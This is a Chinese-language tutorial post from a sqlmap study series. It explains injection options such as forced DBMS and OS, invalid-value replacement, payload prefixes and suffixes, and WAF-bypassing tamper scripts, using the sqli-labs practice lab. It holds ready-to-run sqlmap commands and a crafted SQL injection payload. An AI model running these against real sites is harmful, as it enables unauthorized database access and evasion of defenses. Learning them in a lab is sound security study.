sqlmap學習(九)注入參數


1、sqlmap強制設置DBMS

默認情況下sqlmap會自動探測目標web應用程序后台數據庫管理系統
--dbms 數據庫管理系統名稱 [版本號]

python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --banner --dbms mysql

2、sqlmap強制設置OS

python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --banner --os linux

3、sqlmap強制設置無效值替換

--invalid-bignum / --invalid-logical / --invalid-string
通常sqlmap使用負值使參數失效
--invalid-bignum使用大數使參數取值失效
--invalid-logical使用布爾判斷使參數值失效
--invalid-string使用隨機字符串使參數值失效

python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --invalid-bignum

在這里插入圖片描述

python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --invalid-logical

在這里插入圖片描述

python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --invalid-string

在這里插入圖片描述

4、sqlmap自定義注入負載位置

在有些環境中,只有當用戶提供要附加到注入負載的特定后綴時,易受攻擊的參數才被利用。
--prefix 設置SQL注入Payload前綴
--suffix 設置SQL注入payload后綴
例如查看Less-3的查詢語句為

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";                                                                                                                                                                                     

自己構造payload

python sqlmap.py -u "http://172.17.0.1/Less-3/?id=1" --prefix="')" --suffix=" AND ('AXSq'='AXSq"
$sql="SELECT * FROM users WHERE id=('1') AND ('AXSq'='AXSq') LIMIT 0,1";

5、sqlmap設置tamper腳本

sqlmap通過tamper腳本來繞過WAF等防御措施,可以在tamper文件夾下找到所有sqlmap自帶的tamper腳本

root@rane:/usr/share/sqlmap# ls
COMMITMENT  data  doc  extra  http.txt  lib  LICENSE  plugins  README.md  sqlmapapi.py  sqlmap.conf  sqlmap.py  tamper  test  thirdparty  url.txt  wget-log
root@rane:/usr/share/sqlmap# cd tamper

例如Less-32關使用寬字節注入腳本

python sqlmap.py -u "http://172.17.0.1/Less-32/?id=1" --tamper "unmagicquotes.py"


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM